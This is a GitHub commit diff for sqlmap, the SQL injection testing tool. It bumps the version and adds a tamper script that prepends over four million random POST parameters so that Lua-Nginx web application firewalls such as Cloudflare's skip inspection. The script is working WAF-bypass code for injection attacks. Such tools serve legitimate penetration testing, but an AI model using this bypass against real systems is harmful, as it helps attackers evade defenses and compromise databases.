File tree 3 files changed +42
-2
lines changed
3 files changed +42
-2
lines changed Original file line number Diff line number Diff line change @@ -181,7 +181,7 @@ d653ec01dfa47ee93d2ffe53b1ab76b3a4fb649f517f9f6572a38186882e0255 lib/core/enums
181
181
1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/core/__init__.py
182
182
53499dc202a036289e3b2b9699d19568e794d077e16fd3a5c91771983de45451 lib/core/log.py
183
183
bcb54f1813b3757fe717d7b4f3429fbcd08ff416af1100b716708955702e66d6 lib/core/optiondict.py
184
- 2f007b088aad979f75c4d864603dfc685da5be219ae116f2bb0d6445d2db4f83 lib/core/option.py
184
+ 2f007b088aad979f75c4d864603dfc685da5be219ae116f2bb0d6445d2db4f83 lib/core/option.
185
185
81275fdbd463d89a2bfd8c00417a17a872aad74f34c18e44be79c0503e67dfa5 lib/core/patch.py
186
186
e79df3790f16f67988e46f94b0a516d7ee725967f7698c8e17f210e4052203a7 lib/core/profiling.py
187
187
c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readlineng.py
@@ -511,6 +511,7 @@ d498e409c96d2ae2cc86263ead52ae385e95e9ec27f28247180c7c73ec348b3f tamper/informa
511
511
1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 tamper/__init__.py
512
512
b9a84211c84785361f4efa55858a1cdddd63cee644d0b8d4323b3a5e3db7d12f tamper/least.py
513
513
0de2bd766f883ac742f194f991c5d38799ffbf4346f4376be7ec8d750f2d9ef8 tamper/lowercase.py
514
+ 5015f35181dd4e4e0bddc67c4dfd86d6c509ae48a5f0212a122ff9a62f7352ce tamper/luanginxmore.py
514
515
c390d072ed48431ab5848d51b9ca5c4ff323964a770f0597bdde943ed12377f8 tamper/luanginx.py
515
516
7eba10540514a5bfaee02e92b711e0f89ffe30b1672ec25c7680f2aa336c8a58 tamper/misunion.py
516
517
b262da8d38dbb4be64d42e0ab07e25611da11c5d07aa11b09497b344a4c76b8d tamper/modsecurityversioned.py
Original file line number Diff line number Diff line change 19
19
from thirdparty import six
20
20
21
21
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22
- VERSION = "1.9.3.3 "
22
+ VERSION = "1.9.3.4 "
23
23
TYPE = "dev" if VERSION .count ('.' ) > 2 and VERSION .split ('.' )[- 1 ] != '0' else "stable"
24
24
TYPE_COLORS = {"dev" : 33 , "stable" : 90 , "pip" : 34 }
25
25
VERSION_STRING = "sqlmap/%s#%s" % ('.' .join (VERSION .split ('.' )[:- 1 ]) if VERSION .count ('.' ) > 2 and VERSION .split ('.' )[- 1 ] == '0' else VERSION , TYPE )
Original file line number Diff line number Diff line change
1
+ #!/usr/bin/env python
2
+
3
+ """
4
+ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
5
+ See the file 'LICENSE' for copying permission
6
+ """
7
+
8
+ import random
9
+ import string
10
+ import os
11
+
12
+ from lib .core .compat import xrange
13
+ from lib .core .common import singleTimeWarnMessage
14
+ from lib .core .enums import HINT
15
+ from lib .core .enums import PRIORITY
16
+ from lib .core .settings import DEFAULT_GET_POST_DELIMITER
17
+
18
+ __priority__ = PRIORITY .HIGHEST
19
+
20
+ def dependencies ():
21
+ singleTimeWarnMessage ("tamper script '%s' is only meant to be run on POST requests" % (os .path .basename (__file__ ).split ("." )[0 ]))
22
+
23
+ def tamper (payload , ** kwargs ):
24
+ """
25
+ LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters
26
+
27
+ Reference:
28
+ * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/
29
+
30
+ Notes:
31
+ * Lua-Nginx WAFs do not support processing of huge number of parameters
32
+ """
33
+
34
+ hints = kwargs .get ("hints" , {})
35
+ delimiter = kwargs .get ("delimiter" , DEFAULT_GET_POST_DELIMITER )
36
+
37
+ hints [HINT .PREPEND ] = delimiter .join ("%s=" % "" .join (random .sample (string .ascii_letters + string .digits , 2 )) for _ in xrange (4194304 ))
38
+
39
+ return payload
You can’t perform that action at this time.
0 commit comments